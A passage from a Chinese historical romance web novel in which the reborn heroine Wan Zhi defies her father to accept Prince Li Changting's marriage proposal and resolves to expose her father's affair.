妧嵘连忙收拾一番,擦干额头上的冷汗,随同平氏到前厅去会客。
一到便看见声势浩大的迎亲队伍,为首的郎君,同是在朝为官的臣子,虽职责不同,却也见过。
妧嵘当场观察起四周情况,并及时摆出身家,“这是怎么回事?锦瀚郡王为何会来我妧府?王爷大驾光临,是我有失远迎了。”
论官位,二者相差无几。
但历常珽好歹是王侯出身,高门大户,身份也就比空有官职没有爵位的妧嵘更加尊贵。
只是明眼人都能瞧得出,妧嵘的清高神色,他并未显得过分热络,而是严肃客套地和历常珽说起话来。
更对此刻的情况感到莫名其妙与排斥。
“妧大人客气了,常珽不及妧大人年长,可直接称呼常珽名讳。”
历常珽看着妧嵘和他身边一脸茫然,有几分神韵与妧枝相似,一瞧便知是妧家主母的平氏。
他扬声道:“今日我来,是来向妧大人提亲的。”
妧嵘这才有了些疑惑,“提亲?郡王莫非是弄错了,我家小女而今还未出阁,连及笄都未有呢……”
说到亲事,妧嵘下意识想到的是家中还未有着落最小的妧柔。
她要嫁人还得等上好几年,与历常珽的年纪也不配相配……
倏地,他抬起头,换了正经肃穆的神情看着不慌不忙的锦瀚郡王。
历常珽道:“侍郎误会了,在下要求娶的非是妧家二娘子,而是侍郎长女,大娘子妧枝。”
此话听在妧嵘耳朵里,几乎误以为自己发病了。
他骤然往两旁飞快聚焦,然而人群里并未找到自己要找的人影,于是木楞地向历常珽确认:“妧枝?你要娶的人是妧枝?”
“可我这长女,我已将她许配给濉安王府的四公子,李……”
历常珽:“据我所知,侍郎与濉安王府,是口头商定,并未立下婚书字据,那么妧娘子也就算不得已经完全许配给人。”
“常珽有心求娶,今日带来三书六聘,还有家中管事及长辈身边的人做个见证。”
妧嵘哑口无声,对眼下的情况感到棘手。
历常珽的质问让他无法逃避,王府那边并没有正式给予婚书,这当中自然有许多考虑。
而妧嵘心里也清楚,他实则自己也没有底气,这回乱党一事他能不能全身而退,是以不敢逼急了王府。
万一出事,他还能向濉安王求上一求,期望对方能看在姻亲份上,捞他一把。
为了这,妧嵘都不能在这一刻答应历常珽的请求。
他终于回过神,衡量好了利弊,从惊愣中恢复神气,摆出架子,“贤侄误会,不是我不答应你,可你怎么会想到要求娶我家大娘?”
历常珽:“我与祖母去往濉安王府做客,濉安王妃乃是我小姨母,当日我与祖母一见妧娘子,便倍感心喜,情不自禁。”
妧嵘提眉,竟是不悦呵斥,“什么?!郡王与濉安王府乃是亲戚,既然如此,却还来登门提亲?这简直荒唐!”
“你求娶的是你小姨母家相看的娘子,郡王这么做,难道不怕伤了与濉安王府的和气,就不怕让人笑话吗?!”
这番话,在甘府时就已经听濉安王妃教训过了。
的确,妧家与濉安王府议亲在先,世人讲究忌讳的便是原本相看好的人家,换给其他兄弟姊妹结亲。
这般容易伤了家中和气,且容易被外人说道,不合礼法。
但不这么做,等到濉安王府找来妧家要退亲,届时损伤的就是妧枝的名誉了。
历常珽将过错都揽下来,道:“此事是我之过,但情不由己,这一切我是真心的。”
“常珽愿与妧娘子共结连理,此生不负,还请侍郎大人成全。”
妧嵘对他多加审视打量,眯起眉眼。
“那怕是不可,若是答应了你的求亲,那我妧家与濉安王府怎么交代?不行!”
“濉安王府那边,常珽会代为商议,定然不会牵连到妧娘子和妧家。”
历常珽向其保证,他上前两步,身形远比妧嵘要强健高大许多,且虽然话语委婉,却有着不肯让步之意。
令妧嵘更加拿乔,“说了不行就是不行!君子一诺,岂能毁约,你也是读书人,贤侄莫非是想毁了老夫名声,要做那背信弃义之辈!”
他背过身去,驱赶站在妧家厅堂内前来下聘的下人,对着带来的这些聘礼,越发觉得是破坏他与濉安王府关系的累赘,不肯因此去赌这答应背后的代价。
妧嵘态度坚决,任由历常珽如何百般说道,都不苟言笑,甚至十分冰冷和高傲。
“快把这些东西拿走,拖出去,都出去。”
历常珽未料妧嵘会是这般姿态,只能沉默着看着迎亲的队伍犹豫了,在妧嵘指示下向他投来慌张的目光。
要不要退出去,将聘礼带走。
也许是时机不对,担心妧枝会被王府那边为难,他此番动作着实快了些。
但他与祖母都认为,既然造成了对妧娘子不利的影响,就应该速速将亲事重新定下来。
他看向妧嵘附近到此刻一言未发,有些同样不知所措的年长妇人,试着开口,“侍郎夫人……”
平氏不同妧嵘一样,对周老夫人和历常珽一无所知。
早在施斋节,平氏就听妧枝提过濉安王府的亲戚,周老夫人与她投缘,十分和善。
而历常珽,这位郡王对她也颇为照顾,甚至妧枝手头上积攒的刺绣生意,也都是这位郎君牵桥搭线才有的。
虽未见过他,只见过李四公子李含翎,今日一看,平氏也禁不住想要点头。
论气质,这位郡王的确没有濉安王府四公子的那股纨绔气,不过笑容风雅,人瞧着和善不已。
且更对平氏眼缘,只是妧嵘那边根本无意与他结亲。
平氏更无开口的余地,她向来在妧嵘跟前做不了主。
于是只能眼神示意,略表歉意地摇了摇头。
这让历常珽看在眼里,思考要不要择个某日,再来劝说妧嵘时,正厅里,一道悦耳的声音陡然横插进来。
语气坚定,似乎凭借一人,就能掌持大局,“无需理会,不用走。”
娇柔的嗓音让所有人都朝着外面进来的方向看过去。
妧枝怀揣香气,新衣淑丽,她脚步缓缓却目视前方,并不避讳任何一道视线跟目光。
甚至主动且胆大的环视在场的人。
最后停在充满惊喜的历常珽跟前,与他一起面对妧嵘,“我答应你,这门亲事,可以这般决定。”
妧嵘几乎大半个身子扭转过去,面上布满匪夷所思和惊愕的神情,最后转化成怒容,训斥妧枝,“谁叫你自行主张答应的?!”
“妧枝,你已许配给李四郎君,你都忘了?可不要得罪了濉安王府,方才说的话,为父看来都不算数!”
“阿父没听见吗?我与李四郎的亲事,本是口头之言,并未定下婚书契约,也就当不得真。”
妧枝面容甚是平静,双目很美,眼含秋波,却坚定得好似说什么,都改变不了她的心意,“况且,再过不久,濉安王府自会来退亲了。”
她和李含翎的亲事,仔细追究,其中一方给自己留了很大一块余地。
既无聘礼,也无媒人,更无婚书。
进可说他们是名义上的议亲对象,未婚夫妻,退可说不过是句戏言,没有分毫虚实。
妧枝从来未有将这桩亲事当真,而历常珽……
若要嫁人,他的确是个最好的人选,不管是不是真心爱慕,亦或是一点怜惜之意。
想要早日解决摆脱和濉安王府的纠缠,与他在一起就是最合适的契机。
妧枝抬眸,注视同样看着她的历常珽,这一世她暂且别无办法护着平氏等人。
只有以人为盾,借历常珽这一情分,用她一辈子去还了。
第39章 请大郎君……出个价。……
妧家发生的事情,不过一日就传遍了大街小巷,勋贵之家更已听到风声。
深夜,雨霖院里忽地传来一阵骚动和求饶的呐喊,划破寂静的天空,连离得较近的书行居都可听闻。
商唯真因此被惊醒,听着外面惨叫,空气里仿佛传来从别处飘来的血腥味,以至于不敢继续入睡。
婢女为此去了商榷安那里,以“唯真娘子受惊了”的明目,令大郎君怜惜娘子,到她房中看护她。
下属探听到雨霖院内情,据实已报,“四公子还在生着气,绑了当日那几个碎嘴的下人,动了私刑。”
商唯真缩在商榷安身旁,高大的男子身影有种不露声色的沉静,带给人许多坦然镇定之感。
默然听着李含翎那头发生的事。
“应是听说了郡王府那边前去妧家提亲,憋了一肚子气,只能拿下面的发泄。”
“流了不少血,不过还是留了口气,没真弄死。”
屋内光影绰绰,并不那么明亮,也就显得商榷安的面部轮廓半明半暗,五官挺立,神色莫测。
商榷安像是一点不惊,更未露出什么不忍悲悯,他满眼都是旁人不可摸透的冷静情绪,偏头对环着他肩膀,偎依着他的商唯真道:“没事了,惩治都已结束了,不会再有人哭叫。你也可以睡个好觉了。”
商唯真却痴看着他,眼底残留有被吓到的惊惧,目光盈盈,“我想阿兄陪我……”
说到这,身边下属便识相地开始默默往后退了,快速离开这间屋子。
事情发生不过片刻,雨霖院那边在惊动了夜色后,不多时又恢复了宁静,再无别的破坏旁人清梦的惊扰。
商榷安哄睡了商唯真,从房里出来,背影极致深沉,目无表情地关上手上的门。
在离开前,他睇视着眼前的门锁和缝隙,黑暗裹挟着他,宛若置身泥泞一样,身如幽灵,在寂静的暗廊里拖着一步一步走着。
白日京都依旧繁花似锦,绿意盎然。
通街的巷落近来都在议论一件事,郡王府的将和侍郎府的结亲。
还是妧家的大娘子自己开了口的,代替大人行了自己的主张。
可真是惊煞了旁人,尤其家中有待字闺中的娘子的。
有的称她,是有眼光的厉害角色,会为自己将来打算,可不是一般女子。
有的更非议她,违背媒妁之言,是极其不孝的女儿,对不起身为侍郎的父亲,应当跪在长街上,受世人唾弃,向双亲请罪。
出了这样的事,妧家近来的下人都减少了外出的次数,以免被人碰见嘴碎,上来就打听自家府宅里的私事。
然而还是避免不了周边邻里街坊登门,妧嵘是有些同僚同样住在这里,也有一些夫人和平氏相识。
为了了解更多,往常不常来的都特意寻了个叙旧的由头,前来喝杯茶,积累谈资。
这场风波闹得很大,却也并不算让人人生厌的丑闻,最多是给风平浪静惯了的世人增添一些乐趣罢了。
在历常珽来过后,甘府的管事奉周老夫人之命,也带人送了一大批礼来,借以表明身为历常珽的母家的态度。
礼单通通交予到平氏和妧枝手上,“还请夫人和娘子过目,这些有部分是生前郡王母亲的遗物,都是些贵重的首饰,老太君说,妧娘子今后就是郡王府的主母,早些收下这些礼物,就当是她代郡王母亲赠给儿媳的心意了。”
送来的礼,多的有些收不下。
光是快速瞥上两眼,都能瞧见里面泄露的珠光宝气,玉石金器。
平氏很是惶恐,与濉安王府那边还没彻底了结,妧枝又擅作主张定下跟郡王府的亲,哪里敢收下这么多东西。
她连忙摆手,“使不得,即是郡王母亲的遗物,应该留在身边才是,如何能让小辈挪用。”
管事很是坚决:“老太君和郡王都无异议,是给妧娘子的,还请不要客气。”
“阿枝。”迫不得已,平氏只能向妧枝求助。
然而,妧枝比谁都更加顺理成章接受了这些礼,“阿母,而今我已答应嫁给郡王,这些聘礼收下也是应当的。”
“不过……”
话音一转,妧枝又同管事道:“家宅狭小,库房也不够放,这些礼太贵重,我担心存放于此不大周全,还请先将这些都送回去,礼单留下。”
“等适合的时候,再拿出来吧。”
这些都是给妧枝和妧家的,管事自然没有异议,且看妧家府宅的情形,的确太小了,不适合存放。
管事的考量,“那,就先留下一小部分,多余的我让人抬回去,老太君那边也好有个交代。”
妧枝和管事安排好了,当着平氏的面,走到另外一处谈话。
“劳烦了,往妧府跑了许多趟。”
甘府的管事经过几回已经与妧枝是熟人了,客气而恭敬道:“妧娘子客气了,都是分内的事,并无什么麻烦。事情办妥了,郡王放心,老太君也开心。”
妧枝如今身份不同,与管事说话便有了叙旧的味道。
她莞尔弯了弯嘴角,问道:“郡王呢?这两日做什么去了?”
在到妧府上门提亲后,历常珽好像完成了一件大事,他那日惊喜且不可置信地看着妧枝。
在走时,待在妧枝身旁轻声道:“我脑子竟有些晕。”
“我没想到你会答应,妧娘子。”
四目相对之际,看得久了,妧枝还从他脸上不知不觉,发现了一缕红。
两日未见,妧枝也开始好奇想要打听历常珽的动向了。
管事道:“郡王,他在忙……”
曲水大街上,牙保婆子乘坐在轿车里,手捧上面给下来的赏赐,不知欣赏了第几回巴掌大的一座镶金的小香炉。
她探出窗外,目光一下就对准了在她前面的那顶更大更华贵的软轿,面带微笑,又坐回原位。
她预料的没错,那位妧娘子果然是历郡王心尖上的人,这二人郎有情妾有意,在一起是迟早的事。
她就说此女会受宠,上回向郡王偷偷报信的举措没错。
那小娘还矜持得很,不肯让人知晓。
而今两人都谈婚论嫁了,身份一下就不一样。
有些事,连出面都变得顺理成章,理所当然。
远山上,因今日天色微阴,算不上晴朗,又透着湿气,远看起来山巅上弥漫着缥缈烟雾,洁白如雪,又称得景色白绿交加,宛若仙境。
历常珽停在路上,看见这样心旷神怡的一幕,登时轻叹,“果真是好景色,选址不一般。”
牙保婆子在旁附和道:“郡王真是有心了,亲自来看宅子,那日我就说,娘子对此处甚微喜欢,可不就是因为这里景色极好嘛。”
历常珽用眼观察,并未理会牙保婆子说的话。
下人惯于看上面的人脸色行事,什么东西都能说出花来,不是不可信,而是喜不喜欢,都不需要通过外人去了解。
他可以当面问妧枝,只是不是当前这时候。
他需要亲自帮她把关她所需要的宅子。
自从妧枝答应嫁给他,历常珽到今日还有一丝置身如梦的错觉一样。
回去后便开始回想,那天是否太过唐突了,又或是哪里没有准备好,失了分寸,有没有降低在妧枝心里的印象。
这样忐忑的心情,已经是及冠之后很久没有尝到过的滋味了。
历常珽嘴角拉开微笑,往上扬了扬。
即使他不说话,此刻只要在他身旁,都能感受到那份从他身上传递来的隐晦喜悦和高兴。
反观内宅中,在一间屋子的桌案前,沉稳独坐的身影,就如同天上遍布了阴云,仿若下一刻就要落下滂沱的大雨。
商榷安双手搭坐在宽大的木椅上,身着官服,整个人都笼罩在暗处,屋内光线还算通明,但来此禀告的下属,却在观测屋中的情形时,怎么都瞧不清主子模糊的神情。
“大郎君。”许是受商榷安的气势影响,枕戈罕见地不像平日里那样多嘴多舌,有些许放纵的模样。
而是毕恭毕敬地向商榷安传递消息,“门前又有客人来了,那牙保婆子,这回领了郡王府的历常珽,前来看宅子。”
“他不知大郎君是这间宅子的主人,想亲自见大郎君一面,共同商议。”
商榷安:“商议什么?”
枕戈从这平静的语调中,莫名感受到压力,不由地绷紧了心弦,声音有些哑然,“下面……传话说,历郡王……想要帮上回来看过宅子的妧娘子,买下这座府宅。”
“请大郎君……出个价……”
阴影中的商榷安周身充斥着宛若在朝堂之上的威压,他抬起脸,眉眼缓慢掀开,下颔的线条清俊挺拔,脖颈上的筋脉好似被拉动了,整张面目和眼神如同沙场上的兵刃和弓弦。
“我有说过要卖吗?”
下属不敢声张,想说的话都咽回喉咙中了。
商榷安:“这座宅子,不卖了。”
“从前不会,今后也不会,让他回去吧。”
枕戈如临大赦,匆忙答应,“是,那属下这就去请他们离开。”
桌案旁,商榷安目送着下属心有余悸离去,冷着脸。
门不知是否被风合上的那一瞬间,那张修眉俊目的脸霎时间嘲弄地轻笑起来,夹杂着一丝波谲,如魅如邪。
第40章 坦露。
历常珽初次登门,在宅子里逛了一逛,最终在一处拐角的位置停下。
此处通往侧门,风景与方才见过的大同小异,他没有再往深处走,以免冒犯了主人家。
然而这么久了,他来这已经过去将近半刻时辰,不管主人家在不在,也理应有人出来接待他。
但是此刻除了牙保婆子,这宅里的下人都并未靠近。
他直觉怀疑有些不对,于是等在原地质询,“怎么没有人在这里?此处的管事亦或是能做的了主的呢?”
牙保婆子今日也觉着奇怪,门房虽是从正门领他们进来了,可这府里的气氛却和那日同妧家的娘子一起来格外不同。
不多时,有一两道身影从另外一处小径上走来。
牙保婆子见到人,松了口气,“来了来了,郡王,这宅子里的管事来了。”
然而对方携着下人来到他们跟前,一看就是个帮主家办事的亲信年轻人,“方才听家中门房说,来了位看宅子的大人,有失远迎,还请见谅。”
对方客气过后,又道:“不过可惜了,承蒙大人厚爱,我们主家说,这座宅子他暂且不打算发卖了。”
“两位,还请回吧。”
说罢,拱了拱手,即便眼前的是身负爵位的郡王,也没有多加照顾。
而是说完话便不闻不问就走了。
牙保婆子立时失语,惊讶地望着他们的背影,“这……”
接着不安看地看向被如此对待的历常珽。
只见这位郡王只是微微蹙眉,凝视着已经走远的背影,像是已然认出他们是谁。
知晓了这座宅子背后的主人,历常珽仅是片刻便回过神来,也未动气,按下不表。
只是道:“看来这位主家颇为善变,既然不肯割爱,那就走吧。”
说着,他也抬腿离开了此处。
云上烟波缥缈,偌大的府宅恢复平静,从此大门紧闭。
亲事已定,妧枝一意孤行,妧嵘在家中对她的态度变得从勃然大怒,到冰冷麻木,更升起一丝嫌恶。
他做不了妧枝的主,她擅自答应了与郡王府的亲事,历常珽也非寻常人,他不好再驳了对方颜面。
但到底让他在这个家中权威有损,只能冷言对她威胁,“我不会为了你得罪濉安王府,你若执意违逆我给你定下的亲事,那么就自己承担后果去吧。”
说完,他在妧枝脸上意外没瞧出任何慌乱和逞强。
显然,做下这种决定,妧枝对妧嵘并无半分期待。
她面不改色回视妧嵘,其被她这样的眼神惹怒,更加恶狠狠道:“休要以为你攀上个好人家,就能为所欲为,只要我在一日,就还是你父亲,你敢这般胆大妄为,就要受天下人的耻笑!”
“我只当生了个不忠不孝的女儿……”
“濉安王可不是好糊弄的,尔等这般没将他放在眼里,背信弃义让这桩婚事蒙羞,我倒要瞧瞧,你究竟是否能如愿以偿。”
妧嵘等着妧枝有求于他的一天,那锦瀚郡王不过一年轻后生,贪图享乐,偏爱莳花弄草,并无什么参政的野心。
而今不过是靠着爵位和祖荫庇佑着,何谈前途可说?
还不如嫁给濉安王的哪个儿子,好歹大权在握,比丧了双亲的富贵闲人前途明朗,好不知多少。
可惜妧枝看不透,还是太过年轻,痴心妄想。
妧嵘鄙夷而冷酷地看着她,见她还是那副置若罔闻,云淡风轻的样子,登时不屑一笑,冷哼一声,甩袖出了家门。
“嫁错了人,你自个儿权衡利弊吧。”
他抛下最后一句话走了,平氏在厅堂内听得战战兢兢,生怕这父女二人生出事端来。
妧嵘再如何,也是一个成年男子,力道不是妧枝可以抗衡的,平氏便紧盯着他,防范他要对妧枝动手。
但好在,知晓长女如今身后的靠山,他还没彻底昏了头。
然而,在平氏想着如何宽慰妧枝之际。
妧枝却向家中的一个下人走去,“去跟着他,晚些向我汇报,都去了何处。”
平氏恰巧走近,惊疑地问:“阿枝,你这是做什么?你怎能,怎能……”跟踪你阿父?
平氏未道出口的话,从眼神中流露出。
下一刻,却又愣住。
只因长女坦然回过眼眸,极其有震慑力,既无畏惧,也无退缩。
早在妧枝一开始不听吩咐,抗争与濉安王府的亲事后,这个家中的下人就已嗅到主人们的权位变化的气息。
尤其是在大娘子竟然能公开与主家叫板,且自己应允了和锦瀚郡王的亲事,权利的更替,不言而喻。
在下人们的心中,她已是可以接替甚至能够取代妧嵘的存在。
仆从择主,最忌讳的就是主不能服众。
主母懦弱多年,在主家的威压下早已直不起腰板,而为大娘子办事,可不怎么善待下人的妧嵘好多了。
妧枝一个眼神便定住平氏,在下人走后,她平和道:“阿母何必慌张?我只是担心阿父罢了,免得这个风波关头,他出事啊。”
这一声“啊”,莫名让平氏感到心慌。
从前,平氏还未觉着妧枝有什么变化。
无非就是性子比以往冷淡些,变得不那么归顺家中,听丈夫的话。
但她还是个好的,体贴孝顺,可时至今日,再看眼前的长女,平氏有一刻微微的恍惚。
曾经她还是细弱的枝柳,而今好像不知不觉,变成了参天大树。
妧嵘不肯调节濉安王府与妧家的矛盾,妧枝也无心要求他去缓和。
妧家与濉安王府闹开了最好不过。
如此妧嵘就不能再奢想,仗着借助濉安王的势力,混个逍遥自在了。
然而不知为何,濉安王府那边除了王妃找去甘府那日,并未如妧嵘所说,来妧家大闹一场。
妧家的下人们等了几日,平氏也提心吊胆等候,依旧风平浪静。
妧枝见此,也就并未放在心上。
这日她有更重要的事要做,一早便穿戴好了衣物出了门。
木荷堂而今已是她和历常珽首要见面的地方,都知晓她如今身份大不同从前,且郡王上门提了亲,妧娘子应诺了。
眼下下人们见到她,都比从前更加仔细招待,“妧娘子来了。”
以前妧枝来,管事需要引路,现在便只是问候一番,就放心的看着妧枝去了茶室。
“妧娘子……”历常珽见到妧枝进门,顷刻便起身相迎。
从他们在妧家相见,如今已隔了好些天。
历常珽叫完人,与妧枝对视,方才回味过来,二人已经今非昔比,关系上升,再叫妧娘子,可就生疏了。
于是在安静的气氛下,历常珽改了称呼,“阿枝。”
他语调轻柔,像怕惊扰了她。
又担心冒犯,惹她不悦……然而妧枝不过轻眨了下眼睫,便水到渠成地唤他,“常珽。”
这一叫,便让历常珽瞳孔微缩,看她的神情有些看痴了。
未料想与妧枝议亲后,会得到她这般多的殊荣对待,他耳朵发麻,竟没想到会在一个小娘子面前不好意思。
妧枝这时觉着气氛微妙,见历常珽光看着她一言不发,只好自我缓解,微笑着说:“我叫错了吗?祖母都是这般称呼你的,我想,而今我与你都谈婚论嫁了,也该换着叫了。”
历常珽怎好舍得惊扰了佳人,不忍得妧枝露出一丝歉意,下一刻道:“不,怎会……就是这么叫的,我只是觉得听你第一次这般唤我,颇为动听,方才忍不住发呆。”
他叹息了一声,仿佛蕴藏了不为人知的动人温情。
妧枝眼帘轻颤,她上一世嫁给商榷安之前,从未接触过其他男子,也就未享有过一个男子和一个女子之间较为纯粹的感情。
如今倒是愿意像俗世中,两情相悦那等关系去接触历常珽。
“以后,多叫你就是了。”
妧枝:“何必因为这一次,失了神?”
历常珽主动上前应允,“阿枝说是,那边就是。”
玩笑过后,妧枝正了正容色,看着他:“你传信给我,叫我过来是有什么事?”
“若是不急,我也有一事要同你说。”
历常珽未察觉有异,“那自然是你先讲,我的,也并未那么急切。”
妧枝点了点头,“好,那我且说了。”
“我先最后问你一次,你可当真,愿意娶我?不怕惹一点麻烦?”
虽不懂妧枝这么做的含义,但历常珽依然点了点头。
“是有人在你跟前说什么?”
“不是,我只是想向你确认一番。”
妧枝凝睇着历常珽脸上的神色,“既然你仍坚决这么做,那我有一事要告诉你,你听过之后若是后悔,想要退了这门亲,我亦不怪你。”
感觉到气氛的凝重,历常珽并未打断妧枝的言语。
直到,他听见女子的口中,声音轻柔却好似含了块冰,有些微微凉意,“我不想瞒你,我阿父,妧嵘,他与人私通,背叛我阿母,我打算揭发他,让他与旁人的私情暴露于天下,受千夫所指,剥夺他所拥有的一切。”
妧枝抬眼,并不掩饰心中的恨意。
直视历常珽,“我还要我阿母与他和离,所以才想另寻宅邸安置我阿母和弟妹。”
“我这样的人,意欲弑父,你敢不敢娶?”
40-50
第41章 逆谋书。
妧嵘从妧家离开,转角就上了提前命人等候的马车,他坐在车中依旧脸色沉沉,憋着烦闷之气,表情难看至极。
以至于到了新宅子里,还是未见平复。
愠怒的气势被看在从另一头走过来的人影中,对方从后背上接近他,攀住妧嵘肩膀,“好夫君,出了什么事了,怎么生这么大的火气?”
“要不要,人家给你消消火呀?”宛若捏着嗓子,故意娇嗔的声音就这么出现在他耳畔。
妧嵘怒火不仅未消,神情也未改,直接把攀附在背上的妇人拉到怀中来,一言不发。
就这般,女子很快察觉出异样,未做反抗,顺势靠在妧嵘胸膛,抬手抚摸他的脸,疑惑问:“究竟是怎么了?”
“莫非,朝中有人弹劾你,还是你家中那不中用的老妇,又惹你厌弃了?”
妧嵘飞快提起一口气,闭目仿佛在忍耐,然后睁开眼,倾诉:“还不是我那‘好女儿’,私自议亲,毁了我与濉安王的大事。”
“明烛,我忍不了了。”
被抱着的女子神情一冷,竟是未曾第一时间开口宽慰妧嵘,而是同样抱怨,“我早说过,那老妇给你生不出什么好儿女,你瞧瞧这都是些什么拖累?!”
“我若是你,就应该早些与她和离!”
“妧郎,你还不肯舍弃那些累赘是不是?到底打算何时与我过了明路,阿父那已经知晓我与你的私情了,再不做打算,你与我也不要来往了!”
薛明烛紧盯着他,目光灼灼,风韵犹存的姿色,不光彰显了艳丽,更透露不少威严来。
妧嵘顿时失神,仿佛回想起他曾高中后,取得探花功名骑马游走在大街上的情形。
彼时薛明烛乃是有夫君的将府夫人,出身高门,其姑母乃是太后,舅舅亦是镇国大将军。
妧嵘亦有妻有子,二人都有家室。
只是当年妧嵘一人与奴仆在京中赶考,而平氏等人则在沿途的驿站里等他。
等他被录取后方才来京中团聚。
在此之前,已经得了功名的妧嵘游走在权贵之间,与薛明烛的夫家等高门就交际密切。
情愫早已在不知不觉中暧昧横生,却一直碍于两边都有家室,隐忍多年。
终于盼着盼着,薛明烛的丈夫因在外与人骑射,不小心丧了命,这才让妧嵘有机会和她搅合在一起。
妧嵘一直都知晓薛明烛的心愿,那便是名正言顺和他成为夫妻。
可妧嵘如今早已不是多年前的探花郎,而是在朝中混迹多年,也有少许分量的侍郎官。
平日里谏议这个,谏议那个,盯着百官举止,草拟章程,要轮到他抛妻弃子,和薛明烛在一起,那可就成了大事。
牵一发而动全身,一不小心,就会连身家都不保了。
是以一直哄着薛明烛,一年又一年,让她再等等。
薛明烛紧盯着妧嵘神情变化,眼中出现精明厉害的光,“我难道说的哪里不对,怎么莫非你又想叫我等?”
“还是舍不得家中老妇?”
她骤然从妧嵘怀中抽身面对他,“这回我可不会再答应你了!妧郎,今日你非得给我个说法不可,否则日后可就别在家中受了气,再跑来我这里。”
“明烛,明烛。”妧嵘与她纠缠一番,重新安抚住闹腾的明艳妇人,她嫁给原来的丈夫时才十五岁,遇见妧嵘时也不过十八。
而今十多年过去,一身娇丽气质还在,比起平氏,妧嵘自然心早已不在家中。
“我非是舍不得她,而是我官职在身,近来受乱党影响,已经被枢密院那边盯上,不能生事啊。”
妧嵘狠狠心:“你且等我这段时日,不出两个月,我就休了那贱妇,迎你进门。”
千哄百哄,任由妧嵘说干了嘴皮子,方才令薛氏犹不服气,安静下来。
“这可是你说的。”
“乱党那事,你且未与他们深交,又有何惧?我且叫我舅父救你便是。”
薛明烛:“还有你生养的那几个儿女,我若嫁了过去,可不要他们喊我母亲!”
这些妧嵘都点头应诺,尤其薛明烛开了口,要帮他洗脱嫌疑,对此他深信不疑。
他们感情深厚,薛明烛跟了他多年,对他一颗心至死不渝,定然不会对他的事坐视不理。
她一向喜欢插手他的私事,若不是后宅他求了她许多次,以免二人私情暴露,影响他官途,这么多年,薛明烛早已将手伸到后院,将平氏等人打发了。
这次妧嵘带着怒气来寻她,薛明烛早看不过眼,“早听闻你家中那长女凶悍霸道,她是越来越不将你当父亲看,都这样了,你还留着她有何用?”
“你既不会教女,还不如我来帮你。”
薛明烛出身大家,自小就享尽富贵,她家中姐妹不多,即使在贵女中亦属于容不得欺负受委屈那类。
在她看来,妧嵘与她无媒苟合多年,又不肯舍弃那个小家,已经是对槽糠之妻的恩赐,他的子女都应当感恩戴德他这份仁义之心。
反倒是妧嵘,这么多年了,作为父亲竟然还让生养的子嗣爬到了头上作威作福,这在他们薛家是万万不可能出现的事。
她自是不肯认为是妧嵘无能,看在这么多年都没将那平氏休弃的份上,自然是那几个无用的儿女对不住他。
正好薛明烛心中也有气,积压多年,而今妧嵘肯应允她要休妻,那她就帮他好好教导一番那目无尊长的长女。
“你说她叫什么?妧枝是吗?”
薛明烛:“我晓得了,定让她乖乖放弃那门婚事,听命于你。”
一个涉世未深的小娘子,她就不信能翻出什么花浪来。
妧枝记得,上辈子她从知晓妧嵘和平氏夫妻情分恩断义绝起,她就再未见到过这位父亲。
妧嵘去了何处?
她不太知情,打听不到消息。
濉安王府里的夏日,池子里的鱼翻起了肚皮,下人说是喂食过多,撑死了。
还有的说是府里溜进来了野猫,被挠后给抓死了。
总之,那几日她心绪不宁,对家中发生的悲剧无能为力。
池水里泛出的臭水腥气,成了她对消失的妧嵘最大的记忆。
这世上,没有不偷腥的猫,妧嵘就像这一切的罪魁祸首,将他们所有人的人生搅成一团烂泥,然后摆摆手,消失的无影无踪。
也许在平氏痛哭流涕,为家中其他人担惊受怕时,他正不知在哪逍遥快活。
还有一个人,他身边的那个位高权重,能给予他许多庇佑的女子。
也许正在得意,终于解决了一个容颜老去身世普通的妇人,不再缠着她看上的男子。
这对奸夫□□,总不能逍遥了一世,还能逍遥得了两世。
耳边的风声好似微微静止,茶室外的一切杂音都变得安静。
历常珽的意识还停留在妧枝方才说的话语里。
他有些微惊,仔细回忆妧枝与他接触过的表现,她急缺钱财,甚至在父亲面前,能驳斥了妧嵘的话。
她又十分有胆色和主意,也就证明她的确不是一个会受人宰割的女娘。
妧家的家事,历常珽诚然并不了解,但妧枝说出口的话,他也愿意相信并非作假。
一个肯为自家人考量的女子,是断不会轻易胡乱说谎的。
更不会没来由的指责自己的亲生父亲,有违德行,只有对方真正那么做了,方才令她生出那么多不加掩饰的恨意。
“你问我敢不敢娶,我想的却是,该如何帮你。”
比起妧枝的问题,历常珽更想的是,“我是因爱慕妧娘子,所以想要娶你,且不是因着李含翎找来木荷堂,污蔑你清誉,为了解围才急着上门提亲。”
“妧娘子想要什么时候嫁给我都行,常珽都等得起。”
“时至今日,我才知晓原来妧娘子在家中多不容易,身为长女,肩负了许多责任,所以才费尽心力要为自家母亲和弟妹寻个安身之地。”
历常珽看着妧枝,“也期望,妧娘子不要因为常珽一时之举,才想嫁给常珽,即使不嫁,就是看在妧娘子的份上,常珽也会助你一臂之力。”
他们非是两情相悦才有了今日这场婚约,历常珽自己也清楚,也许妧娘子对他还并未太过上心。
甚至是为了脱离苦海才舍身答应了这门亲事。
但他愿意成为她的依靠,却不愿意让妧枝事后为难,若只是想要揭发她父亲的奸情,历常珽根本不会推辞。
是以,他已经做好了陪同妧枝一起对付她父亲的准备。
然而,妧枝好像听了他这些话,久久没有回神。
“妧娘子……”
历常珽忍不住唤她一声。
谁料,下一刻看着他的妧枝那双明润黑亮的眼眸,似乎顷刻变得湿润。
历常珽倏地肝胆一颤,忍不住想要为眼前的女子抬手,擦去她眼角刹那间滑出的水珠。
却不想,就在他伸手间,妧枝也同样拉扯住他的衣袖,在历常珽禁不住弯腰低头的一瞬间,柔软而娇艳的唇缓缓落在他脸颊上。
触感惊绝,宛若千万颗火树银花,当头迸溅。
妧嵘通奸的罪证并不难拿到。
上辈子妧枝拿他没有办法,是因事情已经发生许多天,该扫清的痕迹都被妧嵘和他的情人清扫干净。
且对方势大,平氏不愿意牵扯到她,才让妧枝错失了许多天找证据的机会。
人一消失,那就难办了。
好在这次,不管是妧嵘私通的情人,还是他逆谋的罪证,妧枝都了然清晰,她势必要将这对罪人公之于众,方能令上辈子的平氏安息,妧枝安息。
“阿兄,今日天热,我炖了去热气的汤,可安神精心,你来喝一碗吧。”
王府,商唯真在宅子里待久了,便学起了做羹汤。
春日一过,天色便开始晴朗,春衫也改为换成夏裳。
近来府里发生了一些事,书行居是唯一不受影响的地方,商唯真该吃吃该喝喝,榷安阿兄平日里忙完公务,就会从外面回来陪她用晚食。
有时候要晚些归家,便会叫人传话给她。
这一切,就和从前他们相依为命时,并无什么两样。
她端了羹汤到书房,然而不大凑巧,商榷安一副要外出的模样,“你先吃吧,唯真,朝堂出了点事,我得去忙了。”
